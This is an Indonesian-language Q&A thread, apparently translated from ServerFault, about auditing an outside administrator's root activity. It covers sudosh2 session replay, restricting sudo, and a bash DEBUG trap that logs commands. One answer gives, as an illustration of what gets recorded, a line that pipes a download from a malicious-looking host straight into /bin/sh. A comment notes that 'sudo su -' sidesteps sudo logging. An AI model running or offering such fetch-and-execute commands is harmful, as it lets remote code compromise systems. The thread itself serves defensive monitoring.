Catat setiap perintah yang dijalankan dari root

16

Saya ingin memberikan akses ke root server saya ke administrator sistem eksternal, tetapi saya ingin memastikan untuk memeriksa kembali apa yang dia lakukan ke server saya, misalnya menyalin data yang saya tidak ingin mereka lakukan dan seterusnya. Saya juga ingin melacak file apa pun yang diakses, bahkan hanya dalam baca dan tidak diedit.

Bagaimana saya bisa melakukan itu?

cedivad
sumber
1
Lihat pertanyaan terkait ini: serverfault.com/questions/181131/… ?
Stefan Lasiewski

Jawaban:

21

Percaya, tapi verifikasi!

Lihat sudosh2 . sudosh2 disediakan oleh port FreeBSD. Paket tersedia untuk RedHat dan Ubuntu. Berikut ini deskripsi dari situs web mereka:

sudosh adalah filter shell audit dan dapat digunakan sebagai shell login. Sudosh merekam semua penekanan tombol dan output dan dapat memutar ulang sesi seperti halnya VCR.

Sudosh akan memungkinkan Anda untuk memutar ulang sesi pengguna, yang akan memungkinkan Anda untuk melihat semua input dan output seperti yang dilihat pengguna. Anda melihat segalanya, penekanan tombol, kesalahan ketik, backspaces, apa yang mereka sunting vi, output dari wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, dll.

Dimungkinkan untuk mengirim log sudosh ke syslog, sehingga mereka dapat disimpan pada server syslog pusat dari sistem.

Perhatikan bahwa sudosh2 adalah pengganti sudosh, yang ditinggalkan oleh pembuatnya

Apakah Anda bekerja di lembaga akademis di mana pengguna bersikeras memiliki hak akses superuser? Atau apakah Anda bekerja di perusahaan dan ingin memungkinkan pengguna memiliki hak pengguna super di VM mereka sendiri? Ini mungkin solusi untuk Anda.

Stefan Lasiewski
sumber
1
Luar biasa - Saya sebelumnya belum pernah mendengar tentang sudosh.
EEAA
2
Apa ini 'VCR' yang kamu bicarakan?
Tom Marthenal
2
Ini seperti 8-track, tetapi Anda bisa merekam acara televisi Anda sendiri!
Stefan Lasiewski
22

Jangan memberinya akses root. Sebagai gantinya, berikan dia akun pengguna yang tidak diistimewakan dan minta dia melakukan semua pekerjaannya sudo, yang akan mencatat semua perintahnya.

Ingatlah bahwa jika orang ini memiliki niat buruk dan Anda memberinya hak sudo penuh, dia akan menemukan cara untuk melaksanakan niat buruk itu tanpa perintah itu dicatat. Dalam hal ini, hanya beri dia akses ke perintah khusus yang dia butuhkan untuk melakukan pekerjaannya.

EEAA
sumber
Aku ingin membuatnya sekeras mungkin tanpa membuat hidupku sakit. Terima kasih atas jawabannya.
cedivad
Anda bisa menjalankan sudo su -dan memiliki shell root yang tidak akan dicatat (kecuali Anda memulainya). Ini adalah apa yang biasanya saya ketik ketika saya ingin melakukan lebih dari satu perintah sebagai root dalam sekali jalan, atau jika saya ingin penyelesaian tab pada direktori yang tidak dapat dibaca oleh pengguna normal.
rjmunro
@rjmunro - Itulah sebabnya saya mengeluarkan peringatan hanya memberinya akses spesifik yang dia butuhkan. Anda dapat secara eksplisit melarang sudo su -jika diinginkan.
EEAA
1

Saya tidak terbiasa dengan sudosh2, tapi saya meletakkan yang berikut ini di saya .bashrcuntuk mencatat semua perintah yang saya ketik di bashshell ke file ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Di atas membuat jebakan DEBUG, yang dieksekusi tepat sebelum perintah biasa dijalankan. The callerbuilt-in yang digunakan untuk menguji apakah perintah yang diketik pada shell interaktif atau dijalankan melalui sesuatu seperti .bashrc. Nilai ${BASH_COMMAND}berisi perintah yang sedang dieksekusi.

Richard Hansen
sumber